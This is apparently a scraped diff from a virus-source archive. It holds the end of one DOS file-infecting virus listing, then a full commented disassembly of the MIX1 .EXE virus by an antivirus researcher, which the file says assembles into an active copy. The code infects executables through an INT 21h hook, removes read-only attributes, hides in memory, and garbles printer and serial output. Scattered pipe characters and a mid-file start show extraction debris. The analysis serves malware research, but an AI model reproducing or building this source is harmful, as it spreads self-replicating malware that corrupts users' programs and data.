xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc done
|
||||
|
||||
stop_encrypt:
|
||||
mov ah,2ch ; Get time
|
||||
int 21h
|
||||
|
||||
mov encrypt_val,dh ; Use time as random encryption
|
||||
call encrypt ; value
|
||||
|
||||
mov ah,40h ; Write virus code to front of
|
||||
lea dx,start ; file
|
||||
mov cx,eendcode-start
|
||||
int 21h
|
||||
jc done
|
||||
cmp ax,eendcode-start
|
||||
jne done
|
||||
jmp date_stuff
|
||||
|
||||
handler:
|
||||
mov al,0
|
||||
iret
|
||||
endp
|
||||
|
||||
|
||||
time dw ? ; File stamp - time
|
||||
date dw ? ; File stamp - date
|
||||
err1 dw ? ; Original error handler
|
||||
err2 dw ? ; address
|
||||
|
||||
date_stuff: ; Restore old file stamp
|
||||
mov ax,5701h
|
||||
mov cx,[time]
|
||||
mov dx,[date]
|
||||
and cl,not 11111b ; Set seconds field to 62 secs.
|
||||
or cl,11111b
|
||||
int 21h
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov dx,olddta ; Restore "original" DTA
|
||||
mov ah,1ah
|
||||
int 21h
|
||||
|
||||
push ds ; Save DS
|
||||
mov ax,2524h ; Set interrupt 24h handler
|
||||
mov dx,err1 ; Restore saved handler
|
||||
mov dx,err2
|
||||
mov ds,dx
|
||||
int 21h
|
||||
pop ds ; Restore DS
|
||||
|
||||
done:
|
||||
xor cx,cx ; Clear registors
|
||||
xor dx,dx
|
||||
xor bx,bx
|
||||
xor ax,ax
|
||||
xor si,si
|
||||
jmp_code db 0e9h ; Preform jmp to "mover" code
|
||||
the_jmp dw ?
|
||||
|
||||
go:
|
||||
eendcode label byte
|
||||
|
||||
nop ; krap
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
|
||||
|
||||
|
||||
endcode label byte
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,857 @@
|
||||
; THE MIX1 virus
|
||||
;
|
||||
; It was first detected in Israel in August '89.
|
||||
;
|
||||
; Disassembly done Sept. 24-25 '89.
|
||||
;
|
||||
; The author of this program is unknown, but it is clearly a
|
||||
; modification of the "Icelandic" virus, with considerable
|
||||
; additions
|
||||
;
|
||||
; All comments in this file were added by Fridrik Skulason,
|
||||
; University of Iceland/Computing Services.
|
||||
;
|
||||
; INTERNET: frisk@rhi.hi.is
|
||||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||
; BIX: FRISK
|
||||
;
|
||||
; To anyone who obtains this file - please be careful with it, I
|
||||
; would not like to see this virus be distributed too much.
|
||||
;
|
||||
; A short description of the virus:
|
||||
;
|
||||
; It only infects .EXE files. Infected files grow by ... to ... bytes.
|
||||
; The virus attaches itself to the end of the programs it infects.
|
||||
;
|
||||
; When an infected file is run, the virus copies itself to top of
|
||||
; free memory, and modifies the memory blocks, in order to hide from
|
||||
; memory mapping programs. Some programs may overwrite this area,
|
||||
; causing the computer to crash.
|
||||
;
|
||||
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||
; it sometimes will infect the program being run. It will check every
|
||||
; tenth program that is run for infection, and if it is not already
|
||||
; infected, it will be.
|
||||
;
|
||||
; The virus will remove the Read-Only attribute before trying to
|
||||
; infect programs.
|
||||
;
|
||||
; Infected files can be easily recognized, since they always end in
|
||||
; "MIX1"
|
||||
;
|
||||
; To check for system infection, a byte at 0:33C is used - if it
|
||||
; contains 77 the virus is installed in memory.
|
||||
;
|
||||
;
|
||||
VIRSIZ EQU 128
|
||||
|
||||
;
|
||||
; This is the original program, just used so this file, when
|
||||
; assembled, will produce an active copy.
|
||||
;
|
||||
_TEXT1 SEGMENT PARA PUBLIC
|
||||
_START DB 0b4H,09H
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET STRING
|
||||
INT 21H
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
STRING DB "Hello world!",0dh,0ah,"$"
|
||||
_TEXT1 ENDS
|
||||
|
||||
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||||
|
||||
;
|
||||
; The virus is basically divided in the following parts.
|
||||
;
|
||||
; 1. The main program - run when an infected program is run.
|
||||
; It will check if the system is already infected, and if not
|
||||
; it will install the virus.
|
||||
;
|
||||
; 2. The new INT 17 handler. All outgoing characters will be garbled.
|
||||
;
|
||||
; 3. The new INT 14 handler. All outgoing characters will be garbled.
|
||||
;
|
||||
; 4. The new INT 8 handler.
|
||||
;
|
||||
; 5. The new INT 9 handler. Disables the Num-Lock key
|
||||
;
|
||||
; 6. The new INT 21 handler. It will look for EXEC calls, and
|
||||
; (sometimes) infect the program being run.
|
||||
;
|
||||
; Parts 1 and 6 are almost identical to the Icelandic-1 version
|
||||
;
|
||||
; This is a fake MCB
|
||||
;
|
||||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||
|
||||
VIRUS PROC FAR
|
||||
;
|
||||
; The virus starts by pushing the original start address on the stack,
|
||||
; so it can transfer control there when finished.
|
||||
;
|
||||
ABRAX: DEC SP ; This used to be SUB SP,4
|
||||
DEC SP
|
||||
NOP
|
||||
DEC SP
|
||||
DEC SP
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
NOP ; added
|
||||
PUSH AX
|
||||
NOP ; added
|
||||
MOV AX,ES
|
||||
;
|
||||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 05H
|
||||
ORG_CS DW 0010H
|
||||
MOV [BP+4],AX
|
||||
;
|
||||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 0C7H,46H,02H
|
||||
ORG_IP DW 0000H
|
||||
;
|
||||
; Save all registers that are modified.
|
||||
;
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
; Check if already installed. Quit if so.
|
||||
;
|
||||
MOV AX,0 ; Was: XOR AX,AX
|
||||
MOV ES,AX
|
||||
CMP ES:[33CH],BYTE PTR 077H
|
||||
JNE L1
|
||||
;
|
||||
; Restore all registers and return to the original program.
|
||||
;
|
||||
EXIT: POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POP BP
|
||||
RET
|
||||
;
|
||||
; The virus tries to hide from detection by modifying the memory block it
|
||||
; uses, so it seems to be a block that belongs to the operating system.
|
||||
;
|
||||
; It looks rather weird, but it seems to work.
|
||||
;
|
||||
L1: MOV AH,52H
|
||||
INT 21H
|
||||
MOV AX,ES:[BX-2]
|
||||
MOV ES,AX
|
||||
PUSH ES ; Two totally unnecessary instructions
|
||||
POP AX ; added
|
||||
ADD AX,ES:[0003]
|
||||
INC AX
|
||||
INC AX
|
||||
MOV CS:[0001],AX
|
||||
;
|
||||
; Next, the virus modifies the memory block of the infected program.
|
||||
; It is made smaller, and no longer the last block.
|
||||
;
|
||||
MOV BX,DS
|
||||
DEC BX
|
||||
PUSH BX ; Unnecessary addition
|
||||
POP AX
|
||||
MOV DS,BX
|
||||
MOV AL,'M'
|
||||
MOV DS:[0000],AL
|
||||
MOV AX,DS:[0003]
|
||||
SUB AX,VIRSIZ
|
||||
MOV DS:[0003],AX
|
||||
ADD BX,AX
|
||||
INC BX
|
||||
;
|
||||
; Then the virus moves itself to the new block.
|
||||
;
|
||||
PUSH BX ; Was: MOV ES,BX
|
||||
POP ES
|
||||
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
|
||||
MOV DI,SI
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV CX,652H
|
||||
CLD
|
||||
REP MOVSB
|
||||
;
|
||||
; The virus then transfers control to the new copy of itself.
|
||||
;
|
||||
PUSH ES
|
||||
MOV AX,OFFSET L3
|
||||
PUSH AX
|
||||
RET
|
||||
;
|
||||
; Zero some variables
|
||||
;
|
||||
L3: MOV BYTE PTR CS:[MIN60],0
|
||||
NOP
|
||||
MOV BYTE PTR CS:[MIN50],0
|
||||
NOP
|
||||
MOV WORD PTR CS:[TIMER],0
|
||||
;
|
||||
; The most nutty way to zero ES register that I have ever seen:
|
||||
;
|
||||
MOV BX,0FFFFH
|
||||
ADD BX,3F3FH
|
||||
MOV CL,0AH
|
||||
SHL BX,CL
|
||||
AND BX,CS:[CONST0]
|
||||
MOV AX,BX
|
||||
MOV ES,AX
|
||||
;
|
||||
; Set flag to confirm installation
|
||||
;
|
||||
MOV BYTE PTR ES:[33CH],77H
|
||||
;
|
||||
; Hook interrupt 21:
|
||||
;
|
||||
MOV AX,ES:[0084H]
|
||||
MOV CS:[OLD21],AX
|
||||
MOV AX,ES:[0086H]
|
||||
MOV CS:[OLD21+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0086H],AX
|
||||
MOV AX,OFFSET NEW21
|
||||
MOV ES:[0084H],AX
|
||||
;
|
||||
; Hook interrupt 17:
|
||||
;
|
||||
MOV AX,ES:[005CH]
|
||||
MOV CS:[OLD17],AX
|
||||
MOV AX,ES:[005EH]
|
||||
MOV CS:[OLD17+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[005EH],AX
|
||||
MOV AX,OFFSET NEW17
|
||||
MOV ES:[005CH],AX
|
||||
;
|
||||
; Hook interrupt 14:
|
||||
;
|
||||
MOV AX,ES:[0050H]
|
||||
MOV CS:[OLD17],AX
|
||||
MOV AX,ES:[0052H]
|
||||
MOV CS:[OLD14+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0052H],AX
|
||||
MOV AX,OFFSET NEW14
|
||||
MOV ES:[0050H],AX
|
||||
;
|
||||
;
|
||||
;
|
||||
CMP WORD PTR CS:[NOINF],5
|
||||
JG HOOK9
|
||||
JMP EXIT
|
||||
;
|
||||
; Hook interrupt 9
|
||||
;
|
||||
HOOK9: MOV AX,ES:[0024H]
|
||||
MOV CS:[OLD9],AX
|
||||
MOV AX,ES:[0026H]
|
||||
MOV CS:[OLD9+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0026H],AX
|
||||
MOV AX,OFFSET NEW9
|
||||
MOV ES:[0024H],AX
|
||||
;
|
||||
; Hook interrupt 8
|
||||
;
|
||||
MOV AX,ES:[0020H]
|
||||
MOV CS:[OLD8],AX
|
||||
MOV AX,ES:[0022H]
|
||||
MOV CS:[OLD8+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0022H],AX
|
||||
MOV AX,OFFSET NEW8
|
||||
MOV ES:[0020H],AX
|
||||
JMP EXIT
|
||||
;
|
||||
; Video processing
|
||||
;
|
||||
VID: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH
|
||||
INT 10H
|
||||
MOV AH,6
|
||||
MUL AH
|
||||
MOV BX,AX
|
||||
MOV AX,DS:[BX+OFFSET VIDEOT]
|
||||
MOV CX,DS:[BX+OFFSET VIDEOT+2]
|
||||
MOV DX,DS:[BX+OFFSET VIDEOT+4]
|
||||
MOV ES,DX
|
||||
SHR CX,1
|
||||
MOV
|
||||
DI,1
|
||||
CMP AX,0
|
||||
JNZ V1
|
||||
V0: INC WORD PTR ES:[DI]
|
||||
INC DI
|
||||
INC DI
|
||||
LOOP V0
|
||||
JMP SHORT V2
|
||||
NOP
|
||||
V1: NOT WORD PTR ES:[DI]
|
||||
INC DI
|
||||
INC DI
|
||||
LOOP V1
|
||||
V2: POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
;
|
||||
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
|
||||
; This routine does not become active until 50 minutes after
|
||||
; the execution of an infected program.
|
||||
;
|
||||
NEW9: PUSH AX
|
||||
PUSH ES
|
||||
CMP BYTE PTR CS:[MIN50],1
|
||||
JNZ RETX1
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; was xxxxxxxx
|
||||
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
|
||||
OR BYTE PTR ES:[417H],20H ; x01xxxxx
|
||||
TEST BYTE PTR ES:[417H],0CH
|
||||
JZ RETX1
|
||||
IN AL,60
|
||||
CMP AL,53
|
||||
JNZ RETX1
|
||||
AND BYTE PTR ES:[417H],0F7H
|
||||
;
|
||||
; This seems to be an error - the virus uses a FAR call, which will
|
||||
; probably cause the computer to crash.
|
||||
;
|
||||
DB 9AH
|
||||
DW OFFSET VID,171CH
|
||||
;
|
||||
; This needs more checking.
|
||||
;
|
||||
|
||||
RETX1: POP ES
|
||||
POP AX
|
||||
DB 0EAH
|
||||
OLD9 DW 0,0
|
||||
;
|
||||
; New INT 14 routine - garble all outgoing characters
|
||||
;
|
||||
NEW14: CMP AH,1
|
||||
JZ S1
|
||||
DO14: DB 0EAH
|
||||
OLD14 DW 0,0
|
||||
S1: PUSH BX
|
||||
XOR BX,BX
|
||||
MOV BL,AL
|
||||
ADD BX,OFFSET ERRTAB
|
||||
MOV AL,CS:[BX] ; use old character as index into table
|
||||
POP BX
|
||||
JMP DO14
|
||||
;
|
||||
; New INT 8 routine
|
||||
;
|
||||
NEW8: PUSH DX
|
||||
PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
|
||||
JZ TT0 ; No need to check any more
|
||||
INC WORD PTR CS:[TIMER] ; else increment timer
|
||||
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
|
||||
JZ TT1
|
||||
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
|
||||
JZ TT2
|
||||
JMP TXEX
|
||||
;
|
||||
; 50 minutes after an infected program is run the flag is set.
|
||||
;
|
||||
TT2: MOV BYTE PTR CS:[MIN50],1
|
||||
NOP
|
||||
JMP TXEX
|
||||
;
|
||||
; 60 minutes after an infected program is run we start the ball bouncing.
|
||||
;
|
||||
TT1: MOV BYTE PTR CS:[MIN60],1
|
||||
;
|
||||
; Get current cursor position and save it
|
||||
;
|
||||
MOV AH,3
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[SCRLINE],DH
|
||||
MOV CS:[SCRCOL],DL
|
||||
;
|
||||
; Set cursor position
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Check what is there and store it
|
||||
;
|
||||
MOV AH,8
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[ONSCREEN],AL
|
||||
;
|
||||
; Set cursor position back as it was before
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[SCRLINE]
|
||||
MOV DL,CS:[SCRCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Get current video mode and store it
|
||||
;
|
||||
MOV AH,0FH
|
||||
INT 10H
|
||||
MOV CS:[VMODE],AH
|
||||
;
|
||||
; Exit interrupt routine
|
||||
;
|
||||
JMP TXEX
|
||||
;
|
||||
; Every time an INT 8 occurs, after the 60 min. have passed, we
|
||||
; end up here:
|
||||
;
|
||||
; First get current cursor position
|
||||
;
|
||||
TT0: MOV AH,3
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[SCRLINE],DH
|
||||
MOV CS:[SCRCOL],DL
|
||||
;
|
||||
; Then set it to last position of ball.
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Write previous character there ...
|
||||
;
|
||||
MOV AH,0EH
|
||||
MOV AL,CS:[ONSCREEN]
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
;
|
||||
;
|
||||
CMP BYTE PTR CS:[UPDOWN],0
|
||||
JZ T2
|
||||
;
|
||||
;
|
||||
DEC BYTE PTR CS:[MYLINE]
|
||||
JMP SHORT T3
|
||||
NOP
|
||||
T2: INC BYTE PTR CS:[MYLINE]
|
||||
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
|
||||
JZ T4
|
||||
DEC BYTE PTR CS:[MYCOL]
|
||||
JMP SHORT T5
|
||||
NOP
|
||||
T4: INC BYTE PTR CS:[MYCOL]
|
||||
;
|
||||
; Get current video mode
|
||||
;
|
||||
T5: MOV AH,0FH
|
||||
INT 10H
|
||||
MOV CS:[VMODE],AH
|
||||
MOV AL,CS:[MAXLIN]
|
||||
CMP CS:[MYLINE],AL ; bottom of screen ?
|
||||
JNZ T6
|
||||
;
|
||||
; Reached bottom - now go upwards.
|
||||
;
|
||||
NOT BYTE PTR CS:[UPDOWN]
|
||||
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
|
||||
JNZ T7
|
||||
;
|
||||
; Reached top - now go downwards
|
||||
;
|
||||
NOT BYTE PTR CS:[UPDOWN]
|
||||
T7: MOV AL,CS:[VMODE]
|
||||
CMP CS:[MYCOL],AL
|
||||
JNZ T8
|
||||
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||
T8: CMP BYTE PTR CS:[MYCOL],0
|
||||
JNZ T9
|
||||
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||
;
|
||||
; Set cursor position to new position of ball
|
||||
;
|
||||
T9: MOV AH,02
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Get what is there and store it.
|
||||
;
|
||||
MOV AH,8
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[ONSCREEN],AL
|
||||
;
|
||||
; Write character (lower case o)
|
||||
;
|
||||
MOV AH,0EH
|
||||
MOV AL,6FH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
;
|
||||
; And restore cursor position
|
||||
;
|
||||
MOV AH,02
|
||||
MOV BH,0
|
||||
MOV DH,CS:[SCRLINE]
|
||||
MOV DL,CS:[SCRCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Restore registers and quit
|
||||
;
|
||||
TXEX: POP AX
|
||||
POP BX
|
||||
POP CX
|
||||
POP DX
|
||||
DB 0EAH
|
||||
OLD8 DW 0,0
|
||||
;
|
||||
; New INT 17 routine. Garble all outgoing characters.
|
||||
;
|
||||
NEW17: CMP AH,0
|
||||
JZ P0
|
||||
DO17: DB 0EAH
|
||||
OLD17 DW 0,0
|
||||
P0: PUSH BX
|
||||
XOR BX,BX
|
||||
MOV BL,AL
|
||||
ADD BX,OFFSET ERRTAB
|
||||
MOV AL,CS:[BX]
|
||||
POP BX
|
||||
JMP DO17
|
||||
;
|
||||
; This is the INT 21 replacement. It only does something in the case
|
||||
; of an EXEC call.
|
||||
;
|
||||
NEW21: CMP AH,4BH
|
||||
JE L5
|
||||
DO21: DB 0EAH
|
||||
OLD21 DW 0,0
|
||||
;
|
||||
; The code to only infect every tenth program has been removed
|
||||
;
|
||||
L5: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
;
|
||||
; Search for the file name extension ...
|
||||
;
|
||||
MOV BX,DX
|
||||
L6: INC BX
|
||||
CMP BYTE PTR [BX],'.'
|
||||
JE L8
|
||||
CMP BYTE PTR [BX],0
|
||||
JNE L6
|
||||
;
|
||||
; ... and quit unless it starts with "EX".
|
||||
;
|
||||
L7: POP DS
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP DO21
|
||||
L8: INC BX
|
||||
CMP WORD PTR [BX],5845H
|
||||
JNE L7
|
||||
;
|
||||
; When an .EXE file is found, the virus starts by turning off
|
||||
; the read-only attribute. The read-only attribute is not restored
|
||||
; when the file has been infected.
|
||||
;
|
||||
MOV AX,4300H ; Get attribute
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV AX,4301H ; Set attribute
|
||||
AND CX,0FEH
|
||||
INT 21H
|
||||
JC L7
|
||||
;
|
||||
; Next, the file is examined to see if it is already infected.
|
||||
; The signature (4418 5F19) is stored in the last two words.
|
||||
;
|
||||
MOV AX,3D02H ; Open / write access
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV BX,AX ; file handle in BX
|
||||
;
|
||||
; This part of the code is new: Get date of file.
|
||||
;
|
||||
MOV AX,5700H
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV CS:[DATE1],DX
|
||||
MOV CS:[DATE2],CX
|
||||
;
|
||||
PUSH CS ; now DS is no longer needed
|
||||
POP DS
|
||||
;
|
||||
; The header of the file is read in at [ID+8]. The virus then
|
||||
; modifies itself, according to the information stored in the
|
||||
; header. (The original CS and IP addressed are stored).
|
||||
;
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
MOV AH,3FH
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV AX,DS:ID[1CH]
|
||||
MOV DS:[ORG_IP],AX
|
||||
MOV AX,DS:ID[1EH]
|
||||
ADD AX,10H
|
||||
MOV DS:[ORG_CS],AX
|
||||
;
|
||||
; Next the read/write pointer is moved to the end of the file-4,
|
||||
; and the last 4 bytes read. They are compared to the signature,
|
||||
; and if equal nothing happens.
|
||||
;
|
||||
MOV AX,4202H
|
||||
MOV CX,-1
|
||||
MOV DX,-4
|
||||
INT 21H
|
||||
JC L9
|
||||
ADD AX,4
|
||||
MOV DS:[LEN_LO],AX
|
||||
JNC L8A
|
||||
INC DX
|
||||
L8A: MOV DS:[LEN_HI],DX
|
||||
;
|
||||
; This part of the virus is new - check if it is below minimum length
|
||||
;
|
||||
CMP DX,0
|
||||
JNE L8B
|
||||
MOV CL,13
|
||||
SHR AX,CL
|
||||
CMP AX,0
|
||||
JG L8B
|
||||
JMP SHORT L9
|
||||
NOP
|
||||
L8B: MOV AH,3FH
|
||||
MOV CX,4
|
||||
MOV DX,OFFSET ID+4
|
||||
INT 21H
|
||||
JNC L11
|
||||
L9: MOV AH,3EH
|
||||
INT 21H
|
||||
L10: JMP L7
|
||||
;
|
||||
; Compare to 4418,5F19
|
||||
;
|
||||
L11: MOV SI,OFFSET ID+4
|
||||
MOV AX,[SI]
|
||||
CMP AX,494DH
|
||||
JNE L12
|
||||
MOV AX,[SI+2]
|
||||
CMP AX,3158H
|
||||
JE L9
|
||||
;
|
||||
; The file is not infected, so the next thing the virus does is
|
||||
; infecting it. First it is padded so the length becomes a multiple
|
||||
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||
; paragraph boundary.
|
||||
;
|
||||
L12: MOV AX,DS:[LEN_LO]
|
||||
AND AX,0FH
|
||||
JZ L13
|
||||
MOV CX,16
|
||||
SUB CX,AX
|
||||
ADD DS:[LEN_LO],CX
|
||||
JNC L12A
|
||||
INC DS:[LEN_HI]
|
||||
L12A: MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the main body of the virus is written to the end.
|
||||
;
|
||||
L13: MOV DX,0 ; Was: XOR DX,DX
|
||||
MOV CX,OFFSET ID + 4
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the .EXE file header is modified:
|
||||
;
|
||||
JMP SHORT F0 ; some unnecessary instructions
|
||||
NOP
|
||||
; First modify initial IP
|
||||
;
|
||||
F0: MOV AX,OFFSET LABEL
|
||||
MOV DS:ID[1CH],AX
|
||||
;
|
||||
; Modify starting CS = Virus CS. It is computed as:
|
||||
;
|
||||
; (Original length of file+padding)/16 - Start of load module
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
MOV CL,CS:[CONST1] ; Modified a bit
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SUB AX,DS:ID[10H]
|
||||
MOV DS:ID[1EH],AX
|
||||
;
|
||||
; Modify length mod 512
|
||||
;
|
||||
ADD DS:[LEN_LO],OFFSET ID+4
|
||||
JNC L14
|
||||
INC DS:[LEN_HI]
|
||||
L14: MOV AX,DS:[LEN_LO]
|
||||
AND AX,511
|
||||
MOV DS:ID[0AH],AX
|
||||
;
|
||||
; Modify number of blocks used
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
ADD AX,511
|
||||
JNC L14A
|
||||
INC DX
|
||||
L14A: MOV AL,AH
|
||||
MOV AH,DL
|
||||
SHR AX,1
|
||||
MOV DS:ID[0CH],AX
|
||||
;
|
||||
; Finally the modified header is written back to the start of the
|
||||
; file.
|
||||
;
|
||||
QQQ: MOV AX,4200H
|
||||
MOV CX,0 ; was XOR CX,CX
|
||||
AND DX,CS:[CONST0] ; was XOR DX,DX
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,40H
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
INT 21H
|
||||
;
|
||||
; This part is new: Restore old date.
|
||||
;
|
||||
MOV DX,CS:[DATE1]
|
||||
MOV CX,CS:[DATE2]
|
||||
MOV AX,5701H
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
INC WORD PTR CS:[NOINF]
|
||||
;
|
||||
; Infection is finished - close the file and execute it
|
||||
;
|
||||
ENDIT: JMP L9
|
||||
;
|
||||
;
|
||||
DW 0
|
||||
|
||||
VIDEOT: DW 0000H, 07D0H, 0B800H
|
||||
DW 0000H, 07D0H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B000H
|
||||
DW 0001H, 3E80H, 0B000H
|
||||
DW 0001H, 7D00H, 0B000H
|
||||
DW 0001H, 7D00H, 0B000H
|
||||
DW 0002H, 0000H, 0000H
|
||||
DW 0002H, 0000H, 0000H
|
||||
DW 0001H, 7D00H, 0A000H
|
||||
DW 0001H, 0FA00H, 0A000H
|
||||
DW 0001H, 6D60H, 0A000H
|
||||
DW 0002H, 0000H. 0000H
|
||||
|
||||
DW 0
|
||||
|
||||
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
|
||||
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
|
||||
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
|
||||
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
|
||||
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
|
||||
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
|
||||
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
|
||||
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
|
||||
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
|
||||
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
|
||||
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
|
||||
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
|
||||
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
|
||||
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
|
||||
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
|
||||
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
|
||||
|
||||
CONST1 DB 1 ; Just the constant 1
|
||||
CONST0 DW 0 ; The label says it all
|
||||
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
|
||||
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
|
||||
VMODE DB 0 ; Video mode
|
||||
MAXLIN DB 24
|
||||
MYCOL DB 0 ; Position of ball on screen
|
||||
MYLINE DB 0 ; ditto.
|
||||
ONSCREEN DB ? ; Previous character on the screen
|
||||
UPDOWN DB 0 ; Direction of ball (up or down)
|
||||
LEFTRIGHT DB 0 ; Direction (left or right)
|
||||
SCRCOL DB ?
|
||||
SCRLINE DB ?
|
||||
DATE1 DW ? ; Date of file
|
||||
DATE2 DW ? ; ditto.
|
||||
TIMER DW 0 ; Number of timer (INT 8) ticks
|
||||
LEN_LO DW ?
|
